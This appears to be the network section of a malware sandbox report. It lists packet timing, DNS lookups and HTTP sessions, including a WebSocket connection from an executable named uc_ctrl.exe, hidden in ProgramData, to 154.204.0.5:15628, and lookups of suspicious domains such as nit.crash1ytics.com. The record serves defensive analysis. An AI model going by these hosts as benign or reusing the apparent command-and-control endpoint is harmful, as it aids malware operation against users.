Jul 20, 2024 16:15:38.746134043 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.751091003 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.751154900 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.756151915 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.756213903 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.761699915 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.761758089 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.767116070 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.767168045 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.772274017 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.772355080 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.777265072 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.777328968 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.782304049 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.782371044 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.787326097 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.787384987 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.792386055 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.792459965 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.797302008 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.797364950 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.802242041 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.802289963 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.807235956 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.807301044 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.812247992 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.812314987 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.817274094 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.817331076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.822325945 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.822386980 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.827327967 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.827384949 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.832581043 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.832639933 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.837559938 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.837622881 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.842731953 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.842802048 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.847865105 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.847923040 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.852881908 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.852931023 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.857826948 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.857886076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.862915039 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.862998962 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.868058920 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.868118048 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.873074055 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.873140097 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.878164053 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.878215075 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.883527040 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.883585930 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.889499903 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.889548063 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.895107985 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.895162106 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.900299072 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.900362968 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.905395031 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.905458927 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.911020041 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.911089897 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.916165113 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.916227102 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.921201944 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.921262026 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.926244020 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.926312923 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.936672926 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.936754942 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.941781044 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.941852093 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.947133064 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.947196960 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.952260971 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.952332020 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.957994938 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.958053112 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.971090078 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.971191883 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.976284027 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.976356983 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.981309891 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.981369019 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.986268997 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.986362934 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.991878986 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.991944075 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:38.998295069 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:38.998368025 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.006403923 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.006489038 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.012263060 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.012334108 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.017414093 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.017553091 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.023823977 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.024072886 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.029402018 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.030344963 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.038044930 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.038171053 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.043129921 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.052789927 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.059935093 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.060030937 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.070446968 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.072757006 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.078610897 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.078850985 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.085470915 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.085561991 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.098454952 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.098690987 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.104903936 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.112833023 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.117755890 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.117944956 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.123060942 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.123126030 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.128117085 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.128243923 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.134087086 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.134531021 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.140127897 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.140362978 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.145826101 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.145961046 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.152527094 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.152615070 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.157553911 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.157649994 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.164859056 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.165555954 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.172903061 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.173069954 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.178060055 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.179617882 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.185748100 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.185911894 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.190972090 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.191046953 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.196163893 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.196237087 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.202687025 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.202842951 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.207915068 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.208106041 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.214379072 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.214468002 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.219414949 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.219491005 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.224847078 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.224936008 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.229882956 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.230052948 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.235703945 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.235790014 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.241516113 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.242010117 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.247720003 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.247798920 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.254340887 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.254499912 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.259443045 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.259581089 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.264750957 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.264879942 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.269865990 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.269979954 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.274878979 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.275082111 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.280066967 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.280147076 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.285490036 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.285636902 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.290935040 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.292211056 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.310075998 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.310375929 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.315434933 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.315618992 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.321018934 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.321223021 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.341290951 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.341888905 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.356703997 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.356925964 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.365602970 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.365725994 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.370973110 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.371129990 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.377588987 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.377751112 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.384299040 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.384850025 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.390301943 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.390419006 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.396320105 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.396492004 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.409846067 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.410018921 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.415618896 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.415991068 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.424002886 CEST	15628	49709	154.204.0.5	192.168.2.5
Jul 20, 2024 16:15:39.424531937 CEST	49709	15628	192.168.2.5	154.204.0.5
Jul 20, 2024 16:15:39.429431915 CEST	15628	49709	154.204.0.5	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 20, 2024 16:14:10.106105089 CEST	192.168.2.5	1.1.1.1	0x9b3e	Standard query (0)	ws-ap1.pusher.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:10.792140961 CEST	192.168.2.5	1.1.1.1	0xb60f	Standard query (0)	in.appcenter.ms	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:11.972024918 CEST	192.168.2.5	1.1.1.1	0xe9d2	Standard query (0)	www.baidu.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:11.972985029 CEST	192.168.2.5	1.1.1.1	0x3008	Standard query (0)	www.yandex.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:11.974040031 CEST	192.168.2.5	1.1.1.1	0x77f0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:12.776911974 CEST	192.168.2.5	1.1.1.1	0x9608	Standard query (0)	d1dmgcawtbm6l9.cloudfront.net	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:12.786258936 CEST	192.168.2.5	8.8.8.8	0xe65d	Standard query (0)	nit.crash1ytics.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:12.787125111 CEST	192.168.2.5	8.8.8.8	0x384a	Standard query (0)	chr.alipayassets.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:12.787352085 CEST	192.168.2.5	8.8.8.8	0xcc90	Standard query (0)	nal.fqoqehwib.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:27.658602953 CEST	192.168.2.5	1.1.1.1	0x787d	Standard query (0)	in.appcenter.ms	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:32.421158075 CEST	192.168.2.5	8.8.8.8	0xeedb	Standard query (0)	nit.crash1ytics.com	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:15:49.051984072 CEST	192.168.2.5	1.1.1.1	0x531c	Standard query (0)	in.appcenter.ms	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 20, 2024 16:14:10.114459038 CEST	1.1.1.1	192.168.2.5	0x9b3e	No error (0)	ws-ap1.pusher.com	socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2024 16:14:10.114459038 CEST	1.1.1.1	192.168.2.5	0x9b3e	No error (0)	socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com		18.139.183.38	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:10.114459038 CEST	1.1.1.1	192.168.2.5	0x9b3e	No error (0)	socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com		18.136.78.90	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:10.114459038 CEST	1.1.1.1	192.168.2.5	0x9b3e	No error (0)	socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com		18.139.169.84	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:10.799267054 CEST	1.1.1.1	192.168.2.5	0xb60f	No error (0)	in.appcenter.ms	in-prod-pme-eastus2-ingestion-66ddb56a.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2024 16:14:11.978884935 CEST	1.1.1.1	192.168.2.5	0xe9d2	No error (0)	www.baidu.com	www.a.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2024 16:14:11.978884935 CEST	1.1.1.1	192.168.2.5	0xe9d2	No error (0)	www.a.shifen.com	www.wshifen.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2024 16:14:11.978884935 CEST	1.1.1.1	192.168.2.5	0xe9d2	No error (0)	www.wshifen.com		103.235.46.96	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:11.978884935 CEST	1.1.1.1	192.168.2.5	0xe9d2	No error (0)	www.wshifen.com		103.235.47.188	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:11.980889082 CEST	1.1.1.1	192.168.2.5	0x3008	No error (0)	www.yandex.com	yandex.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2024 16:14:11.980889082 CEST	1.1.1.1	192.168.2.5	0x3008	No error (0)	yandex.com		5.255.255.77	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:11.980889082 CEST	1.1.1.1	192.168.2.5	0x3008	No error (0)	yandex.com		77.88.44.55	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:11.980889082 CEST	1.1.1.1	192.168.2.5	0x3008	No error (0)	yandex.com		77.88.55.88	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:11.982408047 CEST	1.1.1.1	192.168.2.5	0x77f0	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:12.797343016 CEST	1.1.1.1	192.168.2.5	0x9608	No error (0)	d1dmgcawtbm6l9.cloudfront.net		18.239.15.44	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:12.797343016 CEST	1.1.1.1	192.168.2.5	0x9608	No error (0)	d1dmgcawtbm6l9.cloudfront.net		18.239.15.85	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:12.797343016 CEST	1.1.1.1	192.168.2.5	0x9608	No error (0)	d1dmgcawtbm6l9.cloudfront.net		18.239.15.26	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:12.797343016 CEST	1.1.1.1	192.168.2.5	0x9608	No error (0)	d1dmgcawtbm6l9.cloudfront.net		18.239.15.216	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:13.021137953 CEST	8.8.8.8	192.168.2.5	0xcc90	No error (0)	nal.fqoqehwib.com		5.217.108.181	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:13.021137953 CEST	8.8.8.8	192.168.2.5	0xcc90	No error (0)	nal.fqoqehwib.com		99.34.124.121	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:13.021137953 CEST	8.8.8.8	192.168.2.5	0xcc90	No error (0)	nal.fqoqehwib.com		10.176.38.125	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:13.021137953 CEST	8.8.8.8	192.168.2.5	0xcc90	No error (0)	nal.fqoqehwib.com		33.86.72.19	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:13.021137953 CEST	8.8.8.8	192.168.2.5	0xcc90	No error (0)	nal.fqoqehwib.com		104.112.172.245	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:13.021176100 CEST	8.8.8.8	192.168.2.5	0x384a	No error (0)	chr.alipayassets.com		85.222.79.57	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:13.021176100 CEST	8.8.8.8	192.168.2.5	0x384a	No error (0)	chr.alipayassets.com		12.206.118.229	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:13.021176100 CEST	8.8.8.8	192.168.2.5	0x384a	No error (0)	chr.alipayassets.com		222.91.58.119	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:13.029264927 CEST	8.8.8.8	192.168.2.5	0xe65d	No error (0)	nit.crash1ytics.com		19.88.16.251	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:13.029264927 CEST	8.8.8.8	192.168.2.5	0xe65d	No error (0)	nit.crash1ytics.com		142.242.204.31	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:13.029264927 CEST	8.8.8.8	192.168.2.5	0xe65d	No error (0)	nit.crash1ytics.com		223.61.70.52	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:13.029264927 CEST	8.8.8.8	192.168.2.5	0xe65d	No error (0)	nit.crash1ytics.com		67.137.174.254	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:27.920960903 CEST	1.1.1.1	192.168.2.5	0x787d	No error (0)	in.appcenter.ms	in-prod-pme-eastus2-ingestion-66ddb56a.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2024 16:14:32.655287981 CEST	8.8.8.8	192.168.2.5	0xeedb	No error (0)	nit.crash1ytics.com		67.137.174.254	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:32.655287981 CEST	8.8.8.8	192.168.2.5	0xeedb	No error (0)	nit.crash1ytics.com		223.61.70.52	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:32.655287981 CEST	8.8.8.8	192.168.2.5	0xeedb	No error (0)	nit.crash1ytics.com		142.242.204.31	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:14:32.655287981 CEST	8.8.8.8	192.168.2.5	0xeedb	No error (0)	nit.crash1ytics.com		19.88.16.251	A (IP address)	IN (0x0001)	false
Jul 20, 2024 16:15:49.058962107 CEST	1.1.1.1	192.168.2.5	0x531c	No error (0)	in.appcenter.ms	in-prod-pme-eastus2-ingestion-66ddb56a.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	154.204.0.5	15628	5960	C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 16:13:40.269555092 CEST	228	OUT	GET /\ HTTP/1.1 Connection: Upgrade Sec-WebSocket-Key: HqCBpIpJBHWqJaCawDGQsxZrL Sec-WebSocket-Version: 13 Upgrade: websocket Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits Host: 154.204.0.5:15628
Jul 20, 2024 16:13:41.499500036 CEST	148	IN	HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: WebSocket Sec-WebSocket-Accept: a3Tf+zmnv3Ze4z+TZwV3vHU3g+s= Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49717	18.139.183.38	80	6568	C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 16:14:10.324206114 CEST	265	OUT	GET /app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2 HTTP/1.1 Host: ws-ap1.pusher.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Version: 13 Sec-WebSocket-Key: NTVlYjRjZGItZWE5OS00Mg== Origin: ws://ws-ap1.pusher.com
